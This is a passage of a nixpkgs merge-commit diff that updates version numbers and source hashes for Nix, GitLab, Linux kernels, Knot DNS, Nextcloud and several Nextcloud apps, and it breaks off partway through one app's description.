diff options
author | github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> | 2024-06-28 00:14:42 +0000 |
---|---|---|
committer | GitHub <noreply@github.com> | 2024-06-28 00:14:42 +0000 |
commit | e217f08f92d5b3119fcaa1de4664df0c74c7cedf (patch) | |
tree | e97334ffaf651085585ce78404c359bc3d879d89 | |
parent | 2994cc158361d4dbc9f2ee736ee89d57b3a6089c (diff) | |
parent | 33d9e65246b498facf17dc7ccb3f2629d589b000 (diff) |
Merge staging-next-23.11 into staging-23.11
-rw-r--r-- | nixos/modules/installer/tools/nix-fallback-paths.nix | 10 | ||||
-rw-r--r-- | pkgs/applications/version-management/gitlab/data.json | 12 | ||||
-rw-r--r-- | pkgs/applications/version-management/gitlab/gitaly/default.nix | 4 | ||||
-rw-r--r-- | pkgs/applications/version-management/gitlab/gitlab-pages/default.nix | 4 | ||||
-rw-r--r-- | pkgs/applications/version-management/gitlab/gitlab-workhorse/default.nix | 2 | ||||
-rw-r--r-- | pkgs/os-specific/linux/kernel/kernels-org.json | 16 | ||||
-rw-r--r-- | pkgs/os-specific/linux/kernel/linux-rt-5.15.nix | 6 | ||||
-rw-r--r-- | pkgs/os-specific/linux/kernel/linux-rt-6.1.nix | 6 | ||||
-rw-r--r-- | pkgs/os-specific/linux/kernel/linux-rt-6.6.nix | 6 | ||||
-rw-r--r-- | pkgs/servers/dns/knot-dns/default.nix | 4 | ||||
-rw-r--r-- | pkgs/servers/nextcloud/default.nix | 12 | ||||
-rw-r--r-- | pkgs/servers/nextcloud/packages/27.json | 38 | ||||
-rw-r--r-- | pkgs/servers/nextcloud/packages/28.json | 30 | ||||
-rw-r--r-- | pkgs/servers/nextcloud/packages/29.json | 36 | ||||
-rw-r--r-- | pkgs/tools/package-management/nix/default.nix | 12 | ||||
-rw-r--r-- | pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch | 379 |
16 files changed, 97 insertions, 480 deletions
diff --git a/nixos/modules/installer/tools/nix-fallback-paths.nix b/nixos/modules/installer/tools/nix-fallback-paths.nix index e4241e9654036..54d3a107d6276 100644 --- a/nixos/modules/installer/tools/nix-fallback-paths.nix +++ b/nixos/modules/installer/tools/nix-fallback-paths.nix @@ -1,7 +1,7 @@ { - x86_64-linux = "/nix/store/azvn85cras6xv4z5j85fiy406f24r1q0-nix-2.18.1"; - i686-linux = "/nix/store/9bnwy7f9h0kzdzmcnjjsjg0aak5waj40-nix-2.18.1"; - aarch64-linux = "/nix/store/hh65xwqm9s040s3cgn9vzcmrxj0sf5ij-nix-2.18.1"; - x86_64-darwin = "/nix/store/6zi5fqzn9n17wrk8r41rhdw4j7jqqsi3-nix-2.18.1"; - aarch64-darwin = "/nix/store/0pbq6wzr2f1jgpn5212knyxpwmkjgjah-nix-2.18.1"; + x86_64-linux = "/nix/store/1w4b47zhp33md29wjhgg549pc281vv02-nix-2.18.4"; + i686-linux = "/nix/store/hz02kn0ffn3wdi2xs7lndpr88v4v4fp2-nix-2.18.4"; + aarch64-linux = "/nix/store/90zwqa9z2fgldc7ki1p5gfvglchjh9r6-nix-2.18.4"; + x86_64-darwin = "/nix/store/bd1ix5mj9lj2yh7bqnmdjc24zlg5jivk-nix-2.18.4"; + aarch64-darwin = "/nix/store/5hvsmklhqiay5i4q5vdkg60p8qpc69rz-nix-2.18.4"; } diff --git a/pkgs/applications/version-management/gitlab/data.json b/pkgs/applications/version-management/gitlab/data.json index 382038ac99a5b..41fe2756ff47e 100644 --- a/pkgs/applications/version-management/gitlab/data.json +++ b/pkgs/applications/version-management/gitlab/data.json @@ -1,15 +1,15 @@ { - "version": "16.11.4", - "repo_hash": "sha256-VtjGV/0Xtmwqu/YZa6P6jUvlTYj9FNKALcJ3ZvMUJBw=", + "version": "16.11.5", + "repo_hash": "1bhg6glb644m55m50q2kp0azf3c4if11vymjn823rhs68jw3jqcp", "yarn_hash": "03q7h8dyssvsr91klr1jk65f5jz1ac71lx0114zq9c7awxrgp6kq", "owner": "gitlab-org", "repo": "gitlab", - "rev": "v16.11.4-ee", + "rev": "v16.11.5-ee", "passthru": { - "GITALY_SERVER_VERSION": "16.11.4", - "GITLAB_PAGES_VERSION": "16.11.4", + "GITALY_SERVER_VERSION": "16.11.5", + "GITLAB_PAGES_VERSION": "16.11.5", "GITLAB_SHELL_VERSION": "14.35.0", "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "4.8.0", - "GITLAB_WORKHORSE_VERSION": "16.11.4" + "GITLAB_WORKHORSE_VERSION": "16.11.5" } } diff --git a/pkgs/applications/version-management/gitlab/gitaly/default.nix b/pkgs/applications/version-management/gitlab/gitaly/default.nix index 78f64f07b2cb4..b9c67b96d80c0 100644 --- a/pkgs/applications/version-management/gitlab/gitaly/default.nix +++ b/pkgs/applications/version-management/gitlab/gitaly/default.nix @@ -6,7 +6,7 @@ }: let - version = "16.11.4"; + version = "16.11.5"; package_version = "v${lib.versions.major version}"; gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}"; @@ -18,7 +18,7 @@ let owner = "gitlab-org"; repo = "gitaly"; rev = "v${version}"; - hash = "sha256-sdRKKOWoX0yyqUGpu/mqDdTq2nLZ2Gr5GNV9x99rdeU="; + hash = "sha256-iBLRhkFPsopy6m3y+9Qc+v3FCbV5nOWMs+DMwW+JiSk="; }; vendorHash = "sha256-WCZF7XVW6J1zyPx8e/Mcn+HmHElAUGcEICxiF5HLzBg="; diff --git a/pkgs/applications/version-management/gitlab/gitlab-pages/default.nix b/pkgs/applications/version-management/gitlab/gitlab-pages/default.nix index 38362f1fc63a2..68b3bdb5ee7b3 100644 --- a/pkgs/applications/version-management/gitlab/gitlab-pages/default.nix +++ b/pkgs/applications/version-management/gitlab/gitlab-pages/default.nix @@ -2,14 +2,14 @@ buildGoModule rec { pname = "gitlab-pages"; - version = "16.11.4"; + version = "16.11.5"; # nixpkgs-update: no auto update src = fetchFromGitLab { owner = "gitlab-org"; repo = "gitlab-pages"; rev = "v${version}"; - hash = "sha256-6Fh1IKCs2Bg7Eg44kbCMM8YhLmwWvdZnXp39fphLzcE="; + hash = "sha256-mJKzaFICE7f4aIFGeV/4PbbQkaxwmRd9QO2pRXpM2ag="; }; vendorHash = "sha256-WrR4eZRAuYkhr7ZqP7OXqJ6uwvxzn+t+3OdBNcNaq0M="; diff --git a/pkgs/applications/version-management/gitlab/gitlab-workhorse/default.nix b/pkgs/applications/version-management/gitlab/gitlab-workhorse/default.nix index d01deb57b2006..682376e40a111 100644 --- a/pkgs/applications/version-management/gitlab/gitlab-workhorse/default.nix +++ b/pkgs/applications/version-management/gitlab/gitlab-workhorse/default.nix @@ -5,7 +5,7 @@ in buildGoModule rec { pname = "gitlab-workhorse"; - version = "16.11.4"; + version = "16.11.5"; # nixpkgs-update: no auto update src = fetchFromGitLab { diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json index 035d7de0536bb..9585ae305c175 100644 --- a/pkgs/os-specific/linux/kernel/kernels-org.json +++ b/pkgs/os-specific/linux/kernel/kernels-org.json @@ -1,15 +1,15 @@ { "testing": { - "version": "6.10-rc1", - "hash": "sha256:006frl76cwi9a4mw7x6vsyazgrjfiz1gn4q4hvpykqql5mar3a05" + "version": "6.10-rc5", + "hash": "sha256:1bjqcgik4mgjshwy7p45msd62rmq8wjyz7b60n4fsm3kyk16imcd" }, "6.5": { "version": "6.5.13", "hash": "sha256:1dfbbydmayfj9npx3z0g38p574pmcx3qgs49dv0npigl48wd9yvq" }, "6.1": { - "version": "6.1.95", - "hash": "sha256:1gfz2j6iixbr0dfkb8jkwnb4gicrm5rc5lsa24wmyrkm3nmg0q19" + "version": "6.1.96", + "hash": "sha256:1ab290vm6h8vj1qi1qhxzh9kc6dbgpkwybcwzw1aprz5kl3cjxry" }, "5.15": { "version": "5.15.161", @@ -28,15 +28,15 @@ "hash": "sha256:0lmyhwr4la7kvim7jqdi29scjkvqp9crpvdbhpb4j8d7mj5kgzz4" }, "6.6": { - "version": "6.6.35", - "hash": "sha256:17nxymy3r9q45cfzc9rqp937m37zr1b8fjn1m0x0dv8jhxrfxqzw" + "version": "6.6.36", + "hash": "sha256:1mfdw2prjb54r19y22sm37q8spnk6lyk162ima7gps1pnwl6hrxr" }, "6.8": { "version": "6.8.12", "hash": "sha256:0fb0m0fv4521g63gq04d7lm6hy8169s1rykiav5bkd99s9b1kcqr" }, "6.9": { - "version": "6.9.6", - "hash": "sha256:0jvbv5g9xx76a4ni0b66gzj5i2y77gpmfdg0mdsg564rp3i6chsx" + "version": "6.9.7", + "hash": "sha256:1y01w26sas7pl24l09yczdr8mzzy2nadykz1wmhx9ygfj76qixg4" } } diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix index 5e43eca364d42..620dd0328de2d 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "5.15.158-rt76"; # updated by ./update-rt.sh + version = "5.15.160-rt77"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -18,14 +18,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v5.x/linux-${kversion}.tar.xz"; - sha256 = "1inmdpif3qf1blmvjj4i7y42bylvhv0wyj3b0apq12zxlj1iq1zr"; + sha256 = "018v19a7rhzc4szybzzn86jlnk42x7jm6xkadfd2d3xq6f7727pl"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "17kw7cs1p0qgqf911prn3472c1j7r01g0mzqxsxpkdvhawxps7wy"; + sha256 = "0id4m1k1xq84bxgnchm8r2iwfqw6nacv5n1ksgyzj6q6v66ik3wk"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix index c57c4b2d47a64..e232e2a5927ee 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "6.1.94-rt33"; # updated by ./update-rt.sh + version = "6.1.95-rt34"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -18,14 +18,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz"; - sha256 = "0sakp5k4q2xfd3la7j8s2rcbvndh6fdqgzz5ivyqf0df4anp3siq"; + sha256 = "1gfz2j6iixbr0dfkb8jkwnb4gicrm5rc5lsa24wmyrkm3nmg0q19"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "0yawgw6s8zd6a2n165aqg861giamgpsissj9mw6ax3a7wvg19zjr"; + sha256 = "1kz9j8d677vr5sfxrvfd2a8vpmz3vsrvb82rdvvf09ikpdvsa6iy"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix index 3f710a75b7580..55d5fb2874d46 100644 --- a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix +++ b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix @@ -6,7 +6,7 @@ , ... } @ args: let - version = "6.6.34-rt33"; # updated by ./update-rt.sh + version = "6.6.35-rt34"; # updated by ./update-rt.sh branch = lib.versions.majorMinor version; kversion = builtins.elemAt (lib.splitString "-" version) 0; in buildLinux (args // { @@ -18,14 +18,14 @@ in buildLinux (args // { src = fetchurl { url = "mirror://kernel/linux/kernel/v6.x/linux-${kversion}.tar.xz"; - sha256 = "180v8q5376gl6zmjd54qcb1wpmz7cq299bdbhmz738rsb67yrq64"; + sha256 = "17nxymy3r9q45cfzc9rqp937m37zr1b8fjn1m0x0dv8jhxrfxqzw"; }; kernelPatches = let rt-patch = { name = "rt"; patch = fetchurl { url = "mirror://kernel/linux/kernel/projects/rt/${branch}/older/patch-${version}.patch.xz"; - sha256 = "1sbbdv3mcca04g27vc7n4xv4kfhn9nz8xrhzzwc2r3f2x83ficwp"; + sha256 = "0rijfk9n3fdrwg61ih2x95w4ffjs037hfjv3bza3xb7j04y7hxgy"; }; }; in [ rt-patch ] ++ kernelPatches; diff --git a/pkgs/servers/dns/knot-dns/default.nix b/pkgs/servers/dns/knot-dns/default.nix index fa7b53382c89b..d9d6b2fd57b8a 100644 --- a/pkgs/servers/dns/knot-dns/default.nix +++ b/pkgs/servers/dns/knot-dns/default.nix @@ -7,11 +7,11 @@ stdenv.mkDerivation rec { pname = "knot-dns"; - version = "3.3.6"; + version = "3.3.7"; src = fetchurl { url = "https://secure.nic.cz/files/knot-dns/knot-${version}.tar.xz"; - sha256 = "c81801e9d6c64c97777cacf47e260f46f37799180d906457a53a9f13dd0f9987"; + sha256 = "18ceb398578342e9a3d5b75f2423945a2f8d1d7c730f24f4d2aa4a24b50e831d"; }; outputs = [ "bin" "out" "dev" ]; diff --git a/pkgs/servers/nextcloud/default.nix b/pkgs/servers/nextcloud/default.nix index 2dc2068163844..8ba7484fc5c55 100644 --- a/pkgs/servers/nextcloud/default.nix +++ b/pkgs/servers/nextcloud/default.nix @@ -62,20 +62,20 @@ in { }; nextcloud27 = generic { - version = "27.1.10"; - hash = "sha256-lD4ScNdxp8gNqisy5ylM6MO3e56u9yrYs4SH1YyFB1Y="; + version = "27.1.11"; + hash = "sha256-Tt0lcPTINEL48PBhb7d07SZjsRz59upJ55WrQ67vlkU="; packages = nextcloud27Packages; }; nextcloud28 = generic { - version = "28.0.6"; - hash = "sha256-3w0zhLRHy6HhKPIggPZ4BSH4aBab6r7o6g0VW/nGa48="; + version = "28.0.7"; + hash = "sha256-WOh1S4Ip/UTr1ykmQlaRlbi2R4xArBCaoIbIa1yrp9k="; packages = nextcloud28Packages; }; nextcloud29 = generic { - version = "29.0.2"; - hash = "sha256-LUnSl9w0AJICEFeCPo54oxK8APVt59hneseQWQkYqxc="; + version = "29.0.3"; + hash = "sha256-pZludkwSCSf4hE2PWyjHNrji8ygLEgvhOivXcxzbf9Q="; packages = nextcloud29Packages; }; diff --git a/pkgs/servers/nextcloud/packages/27.json b/pkgs/servers/nextcloud/packages/27.json index dbab86fde27c6..f11a9cf065956 100644 --- a/pkgs/servers/nextcloud/packages/27.json +++ b/pkgs/servers/nextcloud/packages/27.json @@ -3,7 +3,7 @@ "sha256": "06pprhlaaqdha2nmfdcf76mhh48hdr5jlv88snxji8lpflv50wr5", "url": "https://github.com/nextcloud/bookmarks/releases/download/v13.1.3/bookmarks-13.1.3.tar.gz", "version": "13.1.3", - "description": "- π Sort bookmarks into folders\n- π· Add tags and personal notes\n- π Full-text search\n- π² Synchronize with all your browsers and devices\n- πͺ Share bookmarks with other users and publicly\n- β Find broken links\n- β Generate RSS feeds of your collections\n- π Read archived versions of your links in case they are depublished\n- π¬ Create new bookmarks directly from within Nextcloud Talk\n- πΌ Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n - intl: *\n - mbstring: *\n - when using MySQL, use at least v8.0", + "description": "- π Sort bookmarks into folders\n- π· Add tags and personal notes\n- β Find broken links and duplicates\n- π² Synchronize with all your browsers and devices\n- π Store archived versions of your links in case they are depublished\n- π Full-text search on site contents\n- πͺ Share bookmarks with other users and via public links\n- β Generate RSS feeds of your collections\n- π Stats on how often you access which links\n- π Automatic backups of your bookmarks collection\n- πΌ Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n - intl: *\n - mbstring: *\n - when using MySQL, use at least v8.0", "homepage": "https://github.com/nextcloud/bookmarks", "licenses": [ "agpl" @@ -110,9 +110,9 @@ ] }, "groupfolders": { - "sha256": "00c387vjz5sxw3gv61m4p3jby50bcadk8dwpz0zsd5wbhwffd63q", - "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v15.3.7/groupfolders-v15.3.7.tar.gz", - "version": "15.3.7", + "sha256": "12rj57d0g5vqm95hy4cf6ynxl3gfcfhh5kbdmvcz55q5a1wxbn81", + "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v15.3.8/groupfolders-v15.3.8.tar.gz", + "version": "15.3.8", "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.\n\nNote: Encrypting the contents of group folders is currently not supported.", "homepage": "https://github.com/nextcloud/groupfolders", "licenses": [ @@ -140,9 +140,9 @@ ] }, "mail": { - "sha256": "1q0ihgrb6sk0rizs45clqhjpmai2m2zislw6s1694j1zssz4jpqg", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.1/mail-v3.7.1.tar.gz", - "version": "3.7.1", + "sha256": "0bxbzibzsdqmd751759lg3vwhw9nyy5n37snijd083s1498sfqs5", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.2/mail-v3.7.2.tar.gz", + "version": "3.7.2", "description": "**π A mail app for Nextcloud**\n\n- **π Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files β more to come.\n- **π₯ Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **π Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **π Weβre not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **π¬ Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** π’/π‘/π /π΄\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -170,9 +170,9 @@ ] }, "music": { - "sha256": "04dh6vzriiiqnn02pjbwn9rv0q427njbx558jl504jp91b8qd2wn", - "url": "https://github.com/owncloud/music/releases/download/v1.11.0/music_1.11.0_for_nextcloud.tar.gz", - "version": "1.11.0", + "sha256": "17anhb0zcky4fwmbj1czm536d7k8n03iwsn3dqnyq1b9c4bqyj4m", + "url": "https://github.com/owncloud/music/releases/download/v2.0.0/music_2.0.0_for_nextcloud.tar.gz", + "version": "2.0.0", "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from m3u, m3u8, and pls files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on various external apps e.g. on Android or iPhone", "homepage": "https://github.com/owncloud/music", "licenses": [ @@ -230,9 +230,9 @@ ] }, "polls": { - "sha256": "0wijb8dkszyzs3108qylcjnvd3kdhlciqndhgc993ybwqxqxfsxn", - "url": "https://github.com/nextcloud/polls/releases/download/v6.4.1/polls.tar.gz", - "version": "6.4.1", + "sha256": "1s8ym7msl4cax69kr2piphgapllsva1vjh2xb7g03yb7z1hglhjs", + "url": "https://github.com/nextcloud/polls/releases/download/v7.1.2/polls.tar.gz", + "version": "7.1.2", "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).", "homepage": "https://github.com/nextcloud/polls", "licenses": [ @@ -270,9 +270,9 @@ ] }, "richdocuments": { - "sha256": "161v7gb0zg3anr3322ar2m3f6y0zf5cqrwfdsb04p6pqvfpsy9wh", - "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.2.10/richdocuments-v8.2.10.tar.gz", - "version": "8.2.10", + "sha256": "07zhzqk2vjylc01q5mbmwn62amslz5nqy62zqy97w8ksk95d8fvx", + "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.2.11/richdocuments-v8.2.11.tar.gz", + "version": "8.2.11", "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.", "homepage": "https://collaboraoffice.com/", "licenses": [ @@ -340,9 +340,9 @@ ] }, "user_oidc": { - "sha256": "0nl716c8jx6hhpkxjdpbldlnqhh6jsm6xx1zmcmvkzkdr9pjkggj", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.2/user_oidc-v5.0.2.tar.gz", - "version": "5.0.2", + "sha256": "1qarpmwk66mz6mvif0cc4jb7wi4yv76flzwhyvmzxk0ahafpi8x1", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.3/user_oidc-v5.0.3.tar.gz", + "version": "5.0.3", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/servers/nextcloud/packages/28.json b/pkgs/servers/nextcloud/packages/28.json index 0a5c405e36115..d0d4a78dd4c00 100644 --- a/pkgs/servers/nextcloud/packages/28.json +++ b/pkgs/servers/nextcloud/packages/28.json @@ -120,9 +120,9 @@ ] }, "mail": { - "sha256": "1q0ihgrb6sk0rizs45clqhjpmai2m2zislw6s1694j1zssz4jpqg", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.1/mail-v3.7.1.tar.gz", - "version": "3.7.1", + "sha256": "0bxbzibzsdqmd751759lg3vwhw9nyy5n37snijd083s1498sfqs5", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.2/mail-v3.7.2.tar.gz", + "version": "3.7.2", "description": "**π A mail app for Nextcloud**\n\n- **π Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files β more to come.\n- **π₯ Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **π Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **π Weβre not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **π¬ Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** π’/π‘/π /π΄\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -150,9 +150,9 @@ ] }, "music": { - "sha256": "04dh6vzriiiqnn02pjbwn9rv0q427njbx558jl504jp91b8qd2wn", - "url": "https://github.com/owncloud/music/releases/download/v1.11.0/music_1.11.0_for_nextcloud.tar.gz", - "version": "1.11.0", + "sha256": "17anhb0zcky4fwmbj1czm536d7k8n03iwsn3dqnyq1b9c4bqyj4m", + "url": "https://github.com/owncloud/music/releases/download/v2.0.0/music_2.0.0_for_nextcloud.tar.gz", + "version": "2.0.0", "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from m3u, m3u8, and pls files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Play internet radio and podcast channels\n- Setup Last.fm connection to see background information on artists, albums, and songs\n- Control with media control keys on the keyboard or OS\n- The app can handle libraries consisting of thousands of albums and tens of thousands of songs\n- Includes a server backend compatible with the Subsonic and Ampache protocols, allowing playback and browsing of your library on various external apps e.g. on Android or iPhone", "homepage": "https://github.com/owncloud/music", "licenses": [ @@ -200,9 +200,9 @@ ] }, "polls": { - "sha256": "1crs6fks9ywywyi3pnji49dxnry5vpcmd1x29y8anyp32ji2a35r", - "url": "https://github.com/nextcloud/polls/releases/download/v7.0.3/polls.tar.gz", - "version": "7.0.3", + "sha256": "1s8ym7msl4cax69kr2piphgapllsva1vjh2xb7g03yb7z1hglhjs", + "url": "https://github.com/nextcloud/polls/releases/download/v7.1.2/polls.tar.gz", + "version": "7.1.2", "description": "A polls app, similar to Doodle/Dudle with the possibility to restrict access (members, certain groups/users, hidden and public).", "homepage": "https://github.com/nextcloud/polls", "licenses": [ @@ -240,9 +240,9 @@ ] }, "richdocuments": { - "sha256": "1rpbzcxi6n656351rlx1gpg2nwz0z5i4107adls9fh1cdvj9vqs6", - "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.3.7/richdocuments-v8.3.7.tar.gz", - "version": "8.3.7", + "sha256": "0lxbdyvmwsrj9qsb3w3f6si6sydddb4p96rvhrsardq96pam3xwz", + "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.3.8/richdocuments-v8.3.8.tar.gz", + "version": "8.3.8", "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.", "homepage": "https://collaboraoffice.com/", "licenses": [ @@ -300,9 +300,9 @@ ] }, "user_oidc": { - "sha256": "0nl716c8jx6hhpkxjdpbldlnqhh6jsm6xx1zmcmvkzkdr9pjkggj", - "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.2/user_oidc-v5.0.2.tar.gz", - "version": "5.0.2", + "sha256": "1qarpmwk66mz6mvif0cc4jb7wi4yv76flzwhyvmzxk0ahafpi8x1", + "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v5.0.3/user_oidc-v5.0.3.tar.gz", + "version": "5.0.3", "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.", "homepage": "https://github.com/nextcloud/user_oidc", "licenses": [ diff --git a/pkgs/servers/nextcloud/packages/29.json b/pkgs/servers/nextcloud/packages/29.json index 7f7e7d91e9f38..c49a253cb524c 100644 --- a/pkgs/servers/nextcloud/packages/29.json +++ b/pkgs/servers/nextcloud/packages/29.json @@ -120,9 +120,9 @@ ] }, "mail": { - "sha256": "1q0ihgrb6sk0rizs45clqhjpmai2m2zislw6s1694j1zssz4jpqg", - "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.1/mail-v3.7.1.tar.gz", - "version": "3.7.1", + "sha256": "0bxbzibzsdqmd751759lg3vwhw9nyy5n37snijd083s1498sfqs5", + "url": "https://github.com/nextcloud-releases/mail/releases/download/v3.7.2/mail-v3.7.2.tar.gz", + "version": "3.7.2", "description": "**π A mail app for Nextcloud**\n\n- **π Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files β more to come.\n- **π₯ Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **π Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **π Weβre not reinventing the wheel!** Based on the great [Horde](https://horde.org) libraries.\n- **π¬ Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** π’/π‘/π /π΄\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).", "homepage": "https://github.com/nextcloud/mail#readme", "licenses": [ @@ -150,9 +150,9 @@ ] }, "music": { - "sha256": "04dh6vzriiiqnn02pjbwn9rv0q427njbx558jl504jp91b8qd2wn", - "url": "https://github.com/owncloud/music/releases/download/v1.11.0/music_1.11.0_for_nextcloud.tar.gz", - "version": "1.11.0", + "sha256": "17anhb0zcky4fwmbj1czm536d7k8n03iwsn3dqnyq1b9c4bqyj4m", + "url": "https://github.com/owncloud/music/releases/download/v2.0.0/music_2.0.0_for_nextcloud.tar.gz", + "version": "2.0.0", "description": "A stand-alone music player app and a \"lite\" player for the Files app\n\n- On modern browsers, supports audio types .mp3, .ogg, .m4a, .m4b, .flac, .wav, and more\n- Playlist support with import from m3u, m3u8, and pls files\n- Browse by artists, albums, genres, or folders\n- Gapless play\n- Filter the shown content with the search function\n- Play internet radio and podcast channels\n- 